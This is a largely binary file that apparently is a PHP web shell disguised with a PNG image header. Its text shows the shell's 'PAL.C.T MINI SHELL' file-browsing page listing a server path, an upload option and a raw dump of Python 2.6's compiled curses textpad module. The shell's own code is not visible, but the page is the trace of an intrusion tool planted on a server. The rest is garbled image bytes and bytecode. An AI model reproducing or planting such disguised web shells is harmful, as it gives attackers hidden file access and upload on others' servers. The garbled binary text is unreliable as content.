php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/curses/
upload
files >> //usr/lib/python2.6/curses/textpad.pyo

Lc@svdZddkZddkZdZdd	dYZedjo+dZeieZdGe	eGHndS(
s:Simple textbox editing widget with Emacs-like keybindings.iNcCs|i|d|ti||d|i||dti||d|i||dti||d|i|d|ti||d|i||ti|i||ti|i||ti|i||ti	dS(s^Draw a rectangle with corners at the provided upper-left
    and lower-right coordinates.
    iN(
tvlinetcursest	ACS_VLINEthlinet	ACS_HLINEtaddchtACS_ULCORNERtACS_URCORNERtACS_LRCORNERtACS_LLCORNER(twintulytulxtlrytlrx((s$/usr/lib/python2.6/curses/textpad.pyt	rectangles%%%%tTextboxcBsJeZdZedZdZdZdZdZddZ
RS(sdEditing widget using the interior of a window object.
     Supports the following Emacs-like key bindings:

    Ctrl-A      Go to left edge of window.
    Ctrl-B      Cursor left, wrapping to previous line if appropriate.
    Ctrl-D      Delete character under cursor.
    Ctrl-E      Go to right edge (stripspaces off) or end of line (stripspaces on).
    Ctrl-F      Cursor right, wrapping to next line when appropriate.
    Ctrl-G      Terminate, returning the window contents.
    Ctrl-H      Delete character backward.
    Ctrl-J      Terminate if the window is 1 line, otherwise insert newline.
    Ctrl-K      If line is blank, delete it, otherwise clear to end of line.
    Ctrl-L      Refresh screen.
    Ctrl-N      Cursor down; move down one line.
    Ctrl-O      Insert a blank line at cursor location.
    Ctrl-P      Cursor up; move up one line.

    Move operations do nothing if the cursor is at an edge where the movement
    is not possible.  The following synonyms are supported where possible:

    KEY_LEFT = Ctrl-B, KEY_RIGHT = Ctrl-F, KEY_UP = Ctrl-P, KEY_DOWN = Ctrl-N
    KEY_BACKSPACE = Ctrl-h
    cCsm||_||_|i\|_|_|id|_|id|_d|_d|_|iddS(Ni(	R
tinsert_modetgetmaxyxtmaxytmaxxtstripspacestNonetlastcmdtkeypad(tselfR
R((s$/usr/lib/python2.6/curses/textpad.pyt__init__+s				cCs|i}xqtoitii|ii||tiijot|i|d}Pn|djoPn|d}qW|S(suGo to the location of the first blank on the given line,
        returning the index of the last non-blank character.ii(RtTrueRtasciiR
tinchtSPtmin(Rtytlast((s$/usr/lib/python2.6/curses/textpad.pyt_end_of_line5s	.
cCs|ii\}}||ijp||ijo|io|ii}ny|ii|Wntij
onX|ioP|ii\}}ti	i
|o$|i||ii||qqndS(N(
R
tgetyxRRRRRRterrorRtisprintt_insert_printable_chartmove(RtchR txtoldchtbackytbackx((s$/usr/lib/python2.6/curses/textpad.pyR&Bs 


cCs|ii\}}||_tii|o5||ijp||ijo|i|qn6|tii	jo|ii
|dn|tiititii
tifjo|djo|ii
||dn^|djonM|io(|ii
|d|i|dn|ii
|d|i|tii
tifjo|iiqn+|tiijo|iin|tiijoD|io |ii
||i|q|ii
||in|tiitifjoZ||ijo|ii
||dq||ijoq|ii
|ddn:|tiijodS|tiijoD|idjodS||ijo|ii
|ddqn|tiijoX|djo'|i|djo|iiq|ii
|||iin`|tiijo|iin<|tiitifjoq||ijo]|ii
|d|||i|djo(|ii
|d|i|dqqn|tiijo|ii n|tii!ti"fjon|djo]|ii
|d|||i|djo(|ii
|d|i|dqqndS(s!Process a single editing command.ii(#R
R#RRRR%RRR&tSOHR'tSTXtKEY_LEFTtBSt
KEY_BACKSPACERR"tdelchtEOTtENQtACKt	KEY_RIGHTtBELtNLtVTtdeletelntclrtoeoltFFtrefreshtSOtKEY_DOWNtSItinsertlntDLEtKEY_UP(RR(R R)((s$/usr/lib/python2.6/curses/textpad.pyt
do_commandTsp	 +


(
 #0
0cCsd}xt|idD]}|ii|d|i|}|djo|ioqnxbt|idD]M}|io||joPn|tti	i	|ii
||}qtW|idjo|d}qqW|S(s.Collect and return the contents of the window.tiis
(trangeRR
R'R"RRtchrRRR(RtresultR tstopR)((s$/usr/lib/python2.6/curses/textpad.pytgathers/cCsfxY|ii}|o||}n|pqn|i|pPn|iiq|iS(s2Edit in the widget window and collect the results.(R
tgetchRDR=RJ(RtvalidateR(((s$/usr/lib/python2.6/curses/textpad.pyteditsN(t__name__t
__module__t__doc__tFalseRR"R&RDRJRRM(((s$/usr/lib/python2.6/curses/textpad.pyRs
	
		@	t__main__cCsd\}}d	\}}|i|d|dti||||}t||d|d|||||it|iS(
Ni	iiiisUse Ctrl-G to end editing.i(i	i(ii(taddstrRtnewwinRR=RRM(tstdscrtncolstnlinesRRR
((s$/usr/lib/python2.6/curses/textpad.pyttest_editboxs&
sContents of text box:((
RPRtcurses.asciiRRRNRXtwrappertstrtrepr(((s$/usr/lib/python2.6/curses/textpad.pyt<module>s	

		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`